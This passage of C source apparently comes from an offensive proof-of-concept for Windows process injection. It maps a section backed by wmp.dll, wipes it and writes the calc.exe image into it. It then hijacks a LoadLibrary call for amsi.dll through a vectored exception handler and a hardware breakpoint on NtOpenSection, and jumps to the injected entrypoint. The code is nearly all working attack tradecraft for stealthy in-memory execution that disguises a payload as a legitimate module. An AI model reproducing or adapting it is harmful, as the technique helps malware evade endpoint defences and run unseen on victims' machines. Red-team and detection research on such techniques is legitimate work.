226 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)baseAddress;
227 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)baseAddress + dos->e_lfanew);
228 |
229 | PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
230 | for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
231 | {
232 | DWORD protect;
233 | DWORD old;
234 |
235 | if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE)
236 | {
237 | if (sec->Characteristics & IMAGE_SCN_MEM_WRITE)
238 | protect = PAGE_EXECUTE_READWRITE;
239 | else if (sec->Characteristics & IMAGE_SCN_MEM_READ)
240 | protect = PAGE_EXECUTE_READ;
241 | else
242 | protect = PAGE_EXECUTE;
243 | }
244 | else
245 | {
246 | if (sec->Characteristics & IMAGE_SCN_MEM_WRITE)
247 | protect = PAGE_READWRITE;
248 | else if (sec->Characteristics & IMAGE_SCN_MEM_READ)
249 | protect = PAGE_READONLY;
250 | else
251 | protect = PAGE_NOACCESS;
252 | }
253 |
254 | PVOID addr = (BYTE*)baseAddress + sec->VirtualAddress;
255 | SIZE_T size = sec->Misc.VirtualSize;
256 | if (!size)
257 | size = sec->SizeOfRawData;
258 |
259 | VirtualProtect(addr, size, protect, &old);
260 | }
261 | return TRUE;
262 | }
263 |
264 | int
265 | main()
266 | {
267 | DWORD oldProt;
268 | DWORD bytesRead;
269 |
270 | // Read PE to inject (calc.exe) into buffer
271 | HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
272 | if (hCalc == INVALID_HANDLE_VALUE)
273 | {
274 | printf("[-] Failed to open calc.exe\n");
275 | return 1;
276 | }
277 | DWORD fileSize = GetFileSize(hCalc, NULL);
278 | BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize);
279 | ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL);
280 | CloseHandle(hCalc);
281 |
282 | // Parse headers of PE to inject
283 | PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pTargetPeBuf;
284 | PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pTargetPeBuf + dos->e_lfanew);
285 |
286 | // Force DLL characteristics and zero out entrypoint
287 | DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint;
288 | if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL))
289 | {
290 | nt->FileHeader.Characteristics |= IMAGE_FILE_DLL;
291 | nt->OptionalHeader.AddressOfEntryPoint = 0;
292 | }
293 |
294 | // Create SEC_IMAGE section from wmp.dll
295 | HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
296 | if (hWmp == INVALID_HANDLE_VALUE)
297 | {
298 | printf("[-] Failed to open wmp.dll\n");
299 | return 1;
300 | }
301 |
302 | NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp);
303 | CloseHandle(hWmp);
304 | if (status < 0)
305 | {
306 | printf("[-] NtCreateSection failed: 0x%08X\n", status);
307 | return 1;
308 | }
309 |
310 | status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE);
311 | if (status < 0)
312 | {
313 | printf("[-] NtMapViewOfSection failed: 0x%08X\n", status);
314 | return 1;
315 | }
316 |
317 | // Make headers and image of wmp.dll writeable and wipe it
318 | VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt);
319 | memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage);
320 |
321 | // Copy headers and sections from PE to inject into the section
322 | CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize);
323 | HeapFree(GetProcessHeap(), 0, pTargetPeBuf);
324 |
325 | // Apply relocations & section protections
326 | ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase);
327 | ApplySectionProtections(gBaseAddress);
328 |
329 | printf("[*] Section ready:\n");
330 | printf(" BaseAddress = %p\n", gBaseAddress);
331 | printf(" ViewSize = %zu\n", gViewSize);
332 | printf(" Section = %p\n", gSectionHandle);
333 |
334 | // Register VEH and set HWBP
335 | PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler);
336 | SetHardwareBreakpoint(NtOpenSection, NULL);
337 |
338 | // Load any DLL (in this case amsi.dll) to kick off the VEH and the injection flow
339 | HMODULE base = LoadLibraryW(L"amsi.dll");
340 | if (!base)
341 | {
342 | printf("[-] Failed to load library\n");
343 | return 1;
344 | }
345 | printf("[*] Loaded at 0x%llx\r\n", base);
346 | RemoveVectoredExceptionHandler(InjectHandler);
347 |
348 | // Invoke entrypoint
349 | PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset;
350 | printf("[*] Jumping to entrypoint at %p\n", entryPoint);
351 | ((void (*)())entryPoint)();
352 | return 0;
353 | }
--------------------------------------------------------------------------------